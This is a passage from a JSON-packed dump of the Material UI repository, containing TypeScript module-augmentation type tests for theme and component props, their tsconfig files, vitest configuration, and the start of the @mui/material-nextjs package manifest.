  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/badgeCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Badge from '@mui/material/Badge';\nimport { createTheme } from '@mui/material/styles';\n\n// Update the Button's extendable props options\ndeclare module '@mui/material/Badge' {\n  interface BadgePropsVariantOverrides {\n    action: true;\n  }\n  interface BadgePropsColorOverrides {\n    success: true;\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiBadge: {\n      variants: [\n        {\n          props: { variant: 'action' },\n          style: {\n            border: `2px dashed grey`,\n          },\n        },\n        {\n          props: { color: 'success' },\n          style: {\n            backgroundColor: 'green',\n          },\n        },\n      ],\n    },\n  },\n});\n\n<Badge variant=\"action\" color=\"success\" badgeContent={123} />;\n\n// @ts-expect-error typo\n<Badge variant=\"Action\" />;\n\n// @ts-expect-error typo\n<Badge color=\"Success\" />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/badgeCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"badgeCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/breakpointsOverrides.spec.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Dialog from '@mui/material/Dialog';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\n// testing docs/src/pages/customization/breakpoints/breakpoints.md\n\ndeclare module '@mui/material/styles' {\n  interface BreakpointOverrides {\n    xs: false; // removes the `xs` breakpoint\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n    mobile: true; // adds the `mobile` breakpoint\n    tablet: true;\n    laptop: true;\n    desktop: true;\n  }\n}\n\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1280,\n    },\n  },\n  components: {\n    MuiContainer: {\n      defaultProps: {\n        maxWidth: 'laptop',\n      },\n    },\n  },\n});\n\nfunction MyContainer() {\n  return (\n    <ThemeProvider theme={theme}>\n      hello\n      <Container maxWidth=\"tablet\">yooo</Container>\n      <Dialog open maxWidth=\"tablet\">\n        <div />\n      </Dialog>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/breakpointsOverrides.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"breakpointsOverrides.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/buttonCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport { createTheme } from '@mui/material/styles';\n\n// Update the Button's extendable props options\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n    contained: false;\n  }\n  interface ButtonPropsColorOverrides {\n    success: true;\n  }\n  interface ButtonPropsSizeOverrides {\n    extraLarge: true;\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      variants: [\n        {\n          props: { variant: 'dashed' },\n          style: {\n            border: `2px dashed grey`,\n          },\n        },\n        {\n          props: { size: 'extraLarge' },\n          style: {\n            fontSize: 26,\n          },\n        },\n      ],\n    },\n  },\n});\n\n<Button variant=\"dashed\" color=\"success\" size=\"extraLarge\">\n  Custom\n</Button>;\n\n// @ts-expect-error The contained variant was disabled\n<Button variant=\"contained\" color=\"primary\">\n  Invalid\n</Button>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/buttonCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"buttonCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/createTheme.spec.ts",
    "content": "import { Interpolation } from '@mui/system';\nimport { createTheme, styled } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface Mixins {\n    customMixin: Interpolation<{}>;\n  }\n}\n\n// ensure MixinsOptions work\nconst theme = createTheme({ mixins: { customMixin: { paddingLeft: 2 } } });\n\n// ensure Mixins work\nconst Example = styled('div')(({ theme: t }) => t.mixins.customMixin);\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/createTheme.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"createTheme.spec.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/formHelperTextCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormControl from '@mui/material/FormControl';\nimport { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/FormHelperText' {\n  interface FormHelperTextPropsVariantOverrides {\n    warning: true;\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiFormHelperText: {\n      variants: [\n        {\n          props: { variant: 'warning' },\n          style: {\n            backgroundColor: '#ffa726',\n            color: '#ffffff',\n          },\n        },\n      ],\n    },\n  },\n});\n\n<FormControl>\n  <FormHelperText variant=\"warning\">This is warning helper text</FormHelperText>\n</FormControl>;\n\n<FormControl>\n  {/* @ts-expect-error unknown variant */}\n  <FormHelperText variant=\"checked\">This is example helper text</FormHelperText>\n</FormControl>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/formHelperTextCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"formHelperTextCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/gridCustomBreakpoints.spec.tsx",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface BreakpointOverrides {\n    xs: false;\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n    mobile: true;\n    tablet: true;\n    laptop: true;\n    desktop: true;\n  }\n}\n\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1280,\n    },\n  },\n});\n\n<ThemeProvider theme={theme}>\n  <Grid\n    size={{\n      mobile: 1,\n      tablet: 2,\n      laptop: 3,\n      desktop: 4,\n    }}\n  />\n</ThemeProvider>;\n\n<ThemeProvider theme={theme}>\n  <Grid\n    size={{\n      mobile: 1,\n      tablet: 2,\n      laptop: 3,\n      /* @ts-expect-error unknown desk */\n      desk: 4,\n    }}\n  />\n</ThemeProvider>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/gridCustomBreakpoints.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"gridCustomBreakpoints.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/paletteColors.spec.ts",
    "content": "// testing docs/src/pages/customization/palette/palette.md\nimport { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface Theme {\n    status: {\n      danger: React.CSSProperties['color'];\n    };\n  }\n\n  interface Palette {\n    neutral: Palette['primary'];\n  }\n  interface PaletteOptions {\n    neutral: PaletteOptions['primary'];\n  }\n\n  interface PaletteColor {\n    darker?: string;\n  }\n  interface SimplePaletteColorOptions {\n    darker?: string;\n  }\n  interface ThemeOptions {\n    status: {\n      danger: React.CSSProperties['color'];\n    };\n  }\n}\n\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    neutral: true;\n  }\n}\n\nconst theme = createTheme({\n  status: {\n    danger: '#e53e3e',\n  },\n  palette: {\n    primary: {\n      main: '#0971f1',\n      darker: '#053e85',\n    },\n    neutral: {\n      main: '#5c6ac4',\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/paletteColors.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"paletteColors.spec.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/progressProps.spec.tsx",
    "content": "import * as React from 'react';\nimport { CircularProgress, LinearProgress } from '@mui/material';\n\ndeclare module '@mui/material/CircularProgress' {\n  interface CircularProgressPropsColorOverrides {\n    customCircularColor: true;\n  }\n  interface CircularProgressPropsVariantOverrides {\n    dashed: true;\n  }\n}\ndeclare module '@mui/material/LinearProgress' {\n  interface LinearProgressPropsColorOverrides {\n    customLinearColor: true;\n  }\n  interface LinearProgressPropsVariantOverrides {\n    dashed: true;\n  }\n}\n\n<CircularProgress color=\"customCircularColor\" />;\n<CircularProgress variant=\"dashed\" />;\n\n// @ts-expect-error unknown color\n<CircularProgress color=\"foo\" />;\n\n<LinearProgress color=\"customLinearColor\" />;\n<LinearProgress variant=\"dashed\" />;\n\n// @ts-expect-error unknown color\n<LinearProgress color=\"foo\" />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/progressProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"progressProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/reponsiveFontSizes.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"responsiveFontSizes.spec.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/responsiveFontSizes.spec.ts",
    "content": "import { createTheme, responsiveFontSizes } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface TypographyVariants {\n    poster: React.CSSProperties;\n  }\n\n  // allow configuration using `createTheme()`\n  interface TypographyVariantsOptions {\n    poster?: React.CSSProperties;\n  }\n}\n\n// Update the Typography's variant prop options. Also needed for custom variants options in responsiveFontSizes.\ndeclare module '@mui/material/Typography' {\n  interface TypographyPropsVariantOverrides {\n    poster: true;\n  }\n}\n\nlet theme = createTheme({\n  typography: {\n    poster: {\n      fontSize: '2rem',\n      lineHeight: 1,\n    },\n    h3: {\n      fontSize: '2em',\n    },\n  },\n});\ntheme = responsiveFontSizes(theme, {\n  // custom variants\n  variants: ['poster'],\n});\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/shape.spec.ts",
    "content": "import { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/styles' {\n  interface Shape {\n    borderRadiusSecondary: number;\n  }\n\n  interface ShapeOptions {\n    borderRadiusSecondary: number;\n  }\n}\n\ncreateTheme({\n  shape: {\n    borderRadiusSecondary: 12,\n  },\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: ({ theme }) => ({\n          borderRadius: theme.shape.borderRadiusSecondary,\n          '&:hover': {\n            borderRadius: theme.vars.shape.borderRadiusSecondary,\n          },\n        }),\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/shape.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"shape.spec.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/styleOverridesCallback.spec.tsx",
    "content": "import * as React from 'react';\nimport Chip from '@mui/material/Chip';\nimport { createTheme } from '@mui/material/styles';\n\n// Update the Chip's extendable props options\ndeclare module '@mui/material/Chip' {\n  interface ChipPropsVariantOverrides {\n    dashed: true;\n    outlined: false;\n  }\n  interface ChipPropsColorOverrides {\n    success: true;\n  }\n  interface ChipPropsSizeOverrides {\n    extraLarge: true;\n  }\n}\n\n// theme typings should work as expected\nconst finalTheme = createTheme({\n  components: {\n    MuiChip: {\n      styleOverrides: {\n        root: ({ ownerState, theme }) => ({\n          ...(ownerState.variant &&\n            {\n              dashed: {\n                border: '1px dashed',\n              },\n              filled: {\n                backgroundColor: ownerState.color === 'success' ? 'lime' : theme.palette.grey[100],\n              },\n            }[ownerState.variant]),\n        }),\n        label: ({ ownerState }) => [\n          ownerState.color === 'success' && {\n            color: 'lime',\n          },\n        ],\n      },\n    },\n  },\n});\n\n<Chip variant=\"dashed\" color=\"success\" size=\"extraLarge\" label=\"Content\" />;\n\n// @ts-expect-error The contained variant was disabled\n<Chip variant=\"outlined\" color=\"primary\" label=\"Content\" />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/styleOverridesCallback.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"styleOverridesCallback.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/systemTheme.spec.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\n\n<Box sx={{ borderColor: (theme) => theme.palette.primary.main }} />;\n\n// @ts-expect-error unknown color\n<Box sx={{ borderColor: (theme) => theme.palette.invalid }} />;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/systemTheme.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"systemTheme.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/tableCellCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Table from '@mui/material/Table';\nimport TableCell from '@mui/material/TableCell';\nimport { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/Table' {\n  interface TablePropsSizeOverrides {\n    large: true;\n  }\n}\n\ndeclare module '@mui/material/TableCell' {\n  interface TableCellPropsSizeOverrides {\n    large: true;\n  }\n  interface TableCellPropsVariantOverrides {\n    tableBody: true;\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiTableCell: {\n      styleOverrides: {\n        root: ({ ownerState }) => ({\n          ...(ownerState.size === 'large' && {\n            paddingBlock: '1rem',\n          }),\n        }),\n      },\n      variants: [\n        {\n          props: { variant: 'tableBody' },\n          style: {\n            fontSize: '1.2em',\n            color: '#C1D3FF',\n          },\n        },\n      ],\n    },\n  },\n});\n\n<Table size=\"large\">\n  <TableCell size=\"large\" />\n</Table>;\n\n<Table size=\"large\">\n  <TableCell variant=\"tableBody\">Foo</TableCell>;\n</Table>;\n\n<Table size=\"large\">\n  {/* @ts-expect-error unknown variant */}\n  <TableCell variant=\"tableHeading\">Bar</TableCell>;\n</Table>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/tableCellCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"tableCellCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/tabsCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport Tab from '@mui/material/Tab';\nimport Tabs from '@mui/material/Tabs';\nimport { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/Tabs' {\n  interface TabsPropsIndicatorColorOverrides {\n    success: true;\n  }\n  interface TabsPropsVariantOverrides {\n    halfWidth: true;\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiTabs: {\n      variants: [\n        {\n          props: { indicatorColor: 'success' },\n          style: {\n            backgroundColor: '#e70000',\n          },\n        },\n        {\n          props: { variant: 'halfWidth' },\n          style: {\n            width: '50%',\n          },\n        },\n      ],\n    },\n  },\n});\n\n<Tabs indicatorColor=\"success\">\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n</Tabs>;\n\n<Tabs variant=\"halfWidth\">\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n</Tabs>;\n\n// @ts-expect-error unknown indicatorColor\n<Tabs indicatorColor=\"error\">\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n</Tabs>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/tabsCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"tabsCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/textFieldCustomProps.spec.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport { createTheme } from '@mui/material/styles';\n\n// Update the TextField's extendable props options\ndeclare module '@mui/material/TextField' {\n  interface TextFieldPropsColorOverrides {\n    customPalette: true;\n  }\n  interface TextFieldPropsSizeOverrides {\n    extraLarge: true;\n  }\n}\ndeclare module '@mui/material/FormControl' {\n  interface FormControlPropsColorOverrides {\n    customPalette: true;\n  }\n  interface FormControlPropsSizeOverrides {\n    extraLarge: true;\n  }\n}\ndeclare module '@mui/material/InputBase' {\n  interface InputBasePropsSizeOverrides {\n    extraLarge: true;\n  }\n}\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    customPalette: Palette['primary'];\n  }\n  interface PaletteOptions {\n    customPalette: PaletteOptions['primary'];\n  }\n}\n\n// theme typings should work as expected\nconst theme = createTheme({\n  components: {\n    MuiOutlinedInput: {\n      variants: [\n        {\n          props: { size: 'extraLarge' },\n          style: {\n            padding: '30px 15px',\n            fontSize: 40,\n          },\n        },\n      ],\n    },\n  },\n  palette: {\n    customPalette: {\n      main: 'blue',\n    },\n  },\n});\n\n<TextField color=\"customPalette\" size=\"extraLarge\">\n  Custom Color TextField\n</TextField>;\n<TextField variant=\"filled\" size=\"extraLarge\">\n  Custom Size TextField\n</TextField>;\n\ndeclare module '@mui/material/TextField' {\n  interface TextFieldFormHelperTextSlotPropsOverrides {\n    'data-cy'?: string;\n  }\n  interface TextFieldRootSlotPropsOverrides {\n    customRootProp?: string;\n  }\n  interface TextFieldInputSlotPropsOverrides {\n    customInputProp?: string;\n  }\n  interface TextFieldInputLabelSlotPropsOverrides {\n    customInputLabelProp?: string;\n  }\n  interface TextFieldSelectSlotPropsOverrides {\n    customSelectProp?: string;\n  }\n}\n\n<TextField\n  slotProps={{\n    formHelperText: { 'data-cy': 'email-error' },\n    root: {\n      customRootProp: 'abc',\n    },\n    input: {\n      customInputProp: 'abc',\n    },\n    inputLabel: {\n      customInputLabelProp: 'abc',\n    },\n    select: {\n      customSelectProp: 'abc',\n    },\n  }}\n>\n  Custom TextField\n</TextField>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/textFieldCustomProps.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"textFieldCustomProps.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeComponents.spec.ts",
    "content": "// testing docs/src/pages/customization/theme-components/theme-components.md\nimport { blue, red } from '@mui/material/colors';\nimport { createTheme } from '@mui/material/styles';\n\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n  }\n}\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      variants: [\n        {\n          props: { variant: 'dashed' },\n          style: {\n            textTransform: 'none',\n            border: `2px dashed grey${blue[500]}`,\n          },\n        },\n        {\n          props: { variant: 'dashed', color: 'secondary' },\n          style: {\n            border: `4px dashed ${red[500]}`,\n          },\n        },\n      ],\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeComponents.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"themeComponents.spec.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeCssVariables.spec.tsx",
    "content": "// testing docs/src/pages/customization/theme-components/theme-components.md\nimport { styled, extendTheme } from '@mui/material/styles';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\n\ndeclare module '@mui/material/styles' {\n  interface PaletteOptions {\n    gradient: {\n      default: string;\n    };\n  }\n\n  interface Palette {\n    gradient: {\n      default: string;\n    };\n  }\n}\n\nconst StyledComponent = styled('button')(({ theme }) => ({\n  background: theme.vars.palette.gradient.default,\n}));\n\nconst StyledComponent2 = styled('button')(({ theme }) => ({\n  // @ts-expect-error `default2` is not defined\n  background: theme.vars.palette.gradient.default2,\n}));\n\nconst theme = extendTheme({\n  colorSchemes: {\n    light: {\n      palette: {\n        gradient: {\n          default: '',\n        },\n      },\n    },\n    dark: {\n      palette: {\n        gradient: {\n          default: '',\n        },\n      },\n    },\n  },\n});\n\ntheme.getCssVar('palette-gradient-default');\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeCssVariables.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"themeCssVariables.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeCustomNode.spec.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\n\ninterface CustomNode {\n  background: string;\n  color: string;\n}\n\ndeclare module '@mui/material/styles' {\n  interface ThemeOptions {\n    customNode: CustomNode;\n  }\n\n  interface Theme {\n    customNode: CustomNode;\n  }\n}\n\nconst customTheme = createTheme({\n  customNode: {\n    background: '#000',\n    color: '#fff',\n  },\n});\n\nconst StyledComponent = styled('div')(({ theme }) => ({\n  background: theme.customNode.background,\n  color: theme.customNode.color,\n}));\n\n<Box\n  sx={(theme) => ({\n    background: theme.customNode.background,\n    color: theme.customNode.color,\n  })}\n/>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeCustomNode.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"themeCustomNode.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeGetCssVar.spec.tsx",
    "content": "import { extendTheme } from '@mui/material/styles';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\n\ndeclare module '@mui/material/styles' {\n  interface ThemeCssVarOverrides {\n    'custom-color': true;\n  }\n}\n\nconst theme = extendTheme();\n\ntheme.getCssVar('custom-color');\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/themeGetCssVar.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"themeGetCssVar.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/typographyVariants.spec.tsx",
    "content": "// testing docs/src/pages/customization/typography/typography.md\nimport * as React from 'react';\nimport { createTheme } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\n\ndeclare module '@mui/material/styles' {\n  interface TypographyVariants {\n    poster: React.CSSProperties;\n  }\n\n  // allow configuration using `createTheme()`\n  interface TypographyVariantsOptions {\n    poster?: React.CSSProperties;\n  }\n}\n\n// Update the Typography's variant prop options\ndeclare module '@mui/material/Typography' {\n  interface TypographyPropsVariantOverrides {\n    poster: true;\n    h3: false;\n  }\n}\n\nconst theme = createTheme({\n  typography: {\n    poster: {\n      color: 'red',\n    },\n    // Disable h3 variant\n    h3: undefined,\n  },\n});\n\n<Typography variant=\"poster\">poster</Typography>;\n\n/* This variant is no longer supported */\n// @ts-expect-error\n<Typography variant=\"h3\">h3</Typography>;\n"
  },
  {
    "path": "packages/mui-material/test/typescript/moduleAugmentation/typographyVariants.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"typographyVariants.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-material/test/typescript/styles.spec.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, Theme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport { blue } from '@mui/material/colors';\n\n{\n  // Overriding styles\n  const theme = createTheme({\n    palette: {\n      mode: 'dark',\n      primary: blue,\n      contrastThreshold: 3,\n      tonalOffset: 0.2,\n      common: {\n        white: '#ffffff',\n      },\n    },\n    typography: {\n      h1: {\n        fontSize: 24,\n      },\n      fontSize: 18,\n    },\n    mixins: {\n      toolbar: {\n        backgroundColor: 'red',\n      },\n    },\n    breakpoints: {\n      step: 3,\n    },\n    transitions: {\n      duration: {\n        short: 50,\n      },\n    },\n    spacing: 5,\n    zIndex: {\n      appBar: 42,\n    },\n    components: {\n      MuiButton: {\n        defaultProps: {\n          disabled: true,\n        },\n        styleOverrides: {\n          // Name of the styleSheet\n          root: {\n            // Name of the rule\n            background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',\n            borderRadius: 3,\n            border: 0,\n            color: 'white',\n            height: 48,\n            padding: '0 30px',\n            boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',\n          },\n        },\n      },\n      MuiAppBar: {\n        defaultProps: {\n          position: 'fixed',\n        },\n      },\n    },\n  });\n\n  <ThemeProvider theme={theme}>\n    <Button>Overrides</Button>\n  </ThemeProvider>;\n}\nconst theme2 = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n  },\n  components: {\n    MuiButton: {\n      defaultProps: {\n        disabled: false,\n        TouchRippleProps: {\n          center: true,\n        },\n      },\n    },\n    MuiTable: {\n      defaultProps: {\n        cellPadding: 12,\n      },\n    },\n    MuiButtonBase: {\n      defaultProps: {\n        disableRipple: true,\n      },\n    },\n  },\n});\n\nconst t1: string = createTheme().spacing(1);\nconst t2: string = createTheme().spacing(1, 2);\nconst t3: string = createTheme().spacing(1, 2, 3);\nconst t4: string = createTheme().spacing(1, 2, 3, 4);\n// @ts-expect-error\nconst t5 = createTheme().spacing(1, 2, 3, 4, 5);\n\nfunction themeProviderTest() {\n  <ThemeProvider theme={{ foo: 1 }}>{null}</ThemeProvider>;\n  // @ts-expect-error\n  <ThemeProvider<Theme> theme={{ foo: 1 }}>{null}</ThemeProvider>;\n  <ThemeProvider<Theme>\n    theme={{ components: { MuiAppBar: { defaultProps: { 'aria-atomic': 'true' } } } }}\n  >\n    {null}\n  </ThemeProvider>;\n}\n"
  },
  {
    "path": "packages/mui-material/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\"\n  },\n  \"include\": [\"./src/**/*.ts*\"],\n  \"exclude\": [\"src/**/*.spec.ts*\", \"src/**/*.test.ts*\"],\n  \"references\": [{ \"path\": \"../mui-system/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages/mui-material/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"include\": [\"src/**/*\", \"test/**/*\"],\n  \"compilerOptions\": {\n    \"moduleResolution\": \"Bundler\"\n  },\n  \"exclude\": [\"test/typescript/moduleAugmentation\", \"src/types/OverridableComponentAugmentation.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-material/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-material/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-material-nextjs/README.md",
    "content": "# @mui/material-nextjs\n\nThe official Material UI integration with Next.js. For the full documentation, visit [Next.js integration](https://mui.com/material-ui/guides/nextjs/) page.\n"
  },
  {
    "path": "packages/mui-material-nextjs/package.json",
    "content": "{\n  \"name\": \"@mui/material-nextjs\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Collection of utilities for integration between Material UI and Next.js.\",\n  \"keywords\": [\n    \"react\",\n    \"next\",\n    \"material-ui\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-material-nextjs\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/guides/nextjs/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/material-nextjs\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\"v13-pagesRouter\\\" \\\"v16-appRouter\\\" \\\"v15-appRouter\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\"\n  },\n  \"devDependencies\": {\n    \"@emotion/cache\": \"11.14.0\",\n    \"@emotion/react\": \"11.14.0\",\n    \"@emotion/server\": \"11.11.0\",\n    \"@types/react\": \"19.2.14\",\n    \"next\": \"15.5.14\",\n    \"react\": \"19.2.4\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/cache\": \"^11.11.0\",\n    \"@emotion/react\": \"^11.11.4\",\n    \"@emotion/server\": \"^11.11.0\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"next\": \"^13.0.0 || ^14.0.0 || ^15.0.0 || ^16.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    },\n    \"@emotion/cache\": {\n      